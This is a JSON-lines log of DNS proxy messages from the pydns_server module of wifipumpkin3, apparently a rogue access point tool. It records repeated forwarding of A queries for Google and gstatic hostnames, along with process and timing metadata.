{"text": "2020-03-14 at 21:42:09 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:43.294790", "seconds": 43.29479}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:09.720603-03:00", "timestamp": 1584232929.720603}}}
{"text": "2020-03-14 at 21:42:09 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:43.348193", "seconds": 43.348193}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:09.774006-03:00", "timestamp": 1584232929.774006}}}
{"text": "2020-03-14 at 21:42:09 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:43.427424", "seconds": 43.427424}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:09.853237-03:00", "timestamp": 1584232929.853237}}}
{"text": "2020-03-14 at 21:42:09 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:43.511529", "seconds": 43.511529}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:09.937342-03:00", "timestamp": 1584232929.937342}}}
{"text": "2020-03-14 at 21:42:09 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:43.574104", "seconds": 43.574104}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:09.999917-03:00", "timestamp": 1584232929.999917}}}
{"text": "2020-03-14 at 21:42:10 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:43.654724", "seconds": 43.654724}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:10.080537-03:00", "timestamp": 1584232930.080537}}}
{"text": "2020-03-14 at 21:42:10 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:43.685969", "seconds": 43.685969}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:10.111782-03:00", "timestamp": 1584232930.111782}}}
{"text": "2020-03-14 at 21:42:10 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:43.728589", "seconds": 43.728589}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:10.154402-03:00", "timestamp": 1584232930.154402}}}
{"text": "2020-03-14 at 21:42:10 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:43.844196", "seconds": 43.844196}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:10.270009-03:00", "timestamp": 1584232930.270009}}}
{"text": "2020-03-14 at 21:42:10 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:43.944285", "seconds": 43.944285}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:10.370098-03:00", "timestamp": 1584232930.370098}}}
{"text": "2020-03-14 at 21:42:10 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:44.121030", "seconds": 44.12103}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:10.546843-03:00", "timestamp": 1584232930.546843}}}
{"text": "2020-03-14 at 21:42:10 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:44.220583", "seconds": 44.220583}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:10.646396-03:00", "timestamp": 1584232930.646396}}}
{"text": "2020-03-14 at 21:42:10 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:44.342466", "seconds": 44.342466}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:10.768279-03:00", "timestamp": 1584232930.768279}}}
{"text": "2020-03-14 at 21:42:10 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:44.424712", "seconds": 44.424712}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:10.850525-03:00", "timestamp": 1584232930.850525}}}
{"text": "2020-03-14 at 21:42:11 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:44.607678", "seconds": 44.607678}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:11.033491-03:00", "timestamp": 1584232931.033491}}}
{"text": "2020-03-14 at 21:42:11 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:44.779135", "seconds": 44.779135}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:11.204948-03:00", "timestamp": 1584232931.204948}}}
{"text": "2020-03-14 at 21:42:11 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:44.996414", "seconds": 44.996414}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:11.422227-03:00", "timestamp": 1584232931.422227}}}
{"text": "2020-03-14 at 21:42:11 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:45.207769", "seconds": 45.207769}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:11.633582-03:00", "timestamp": 1584232931.633582}}}
{"text": "2020-03-14 at 21:42:11 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:45.362711", "seconds": 45.362711}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:11.788524-03:00", "timestamp": 1584232931.788524}}}
{"text": "2020-03-14 at 21:42:11 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:45.552134", "seconds": 45.552134}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:11.977947-03:00", "timestamp": 1584232931.977947}}}
{"text": "2020-03-14 at 21:42:12 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:45.716519", "seconds": 45.716519}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:12.142332-03:00", "timestamp": 1584232932.142332}}}
{"text": "2020-03-14 at 21:42:12 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:45.887851", "seconds": 45.887851}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:12.313664-03:00", "timestamp": 1584232932.313664}}}
{"text": "2020-03-14 at 21:42:12 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:46.000077", "seconds": 46.000077}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:12.425890-03:00", "timestamp": 1584232932.42589}}}
{"text": "2020-03-14 at 21:42:12 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:46.212222", "seconds": 46.212222}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:12.638035-03:00", "timestamp": 1584232932.638035}}}
{"text": "2020-03-14 at 21:42:12 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:46.386559", "seconds": 46.386559}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:12.812372-03:00", "timestamp": 1584232932.812372}}}
{"text": "2020-03-14 at 21:42:12 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:46.518482", "seconds": 46.518482}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:12.944295-03:00", "timestamp": 1584232932.944295}}}
{"text": "2020-03-14 at 21:42:13 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:46.737921", "seconds": 46.737921}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:13.163734-03:00", "timestamp": 1584232933.163734}}}
{"text": "2020-03-14 at 21:42:13 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:46.906151", "seconds": 46.906151}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:13.331964-03:00", "timestamp": 1584232933.331964}}}
{"text": "2020-03-14 at 21:42:13 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:47.111819", "seconds": 47.111819}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:13.537632-03:00", "timestamp": 1584232933.537632}}}
{"text": "2020-03-14 at 21:42:13 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:47.507651", "seconds": 47.507651}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:13.933464-03:00", "timestamp": 1584232933.933464}}}
{"text": "2020-03-14 at 21:42:14 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:47.608570", "seconds": 47.60857}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:14.034383-03:00", "timestamp": 1584232934.034383}}}
{"text": "2020-03-14 at 21:42:14 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:47.667320", "seconds": 47.66732}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:14.093133-03:00", "timestamp": 1584232934.093133}}}
{"text": "2020-03-14 at 21:42:14 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:48.110627", "seconds": 48.110627}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:14.536440-03:00", "timestamp": 1584232934.53644}}}
{"text": "2020-03-14 at 21:42:14 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:48.185253", "seconds": 48.185253}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:14.611066-03:00", "timestamp": 1584232934.611066}}}
{"text": "2020-03-14 at 21:42:14 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:48.280967", "seconds": 48.280967}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:14.706780-03:00", "timestamp": 1584232934.70678}}}
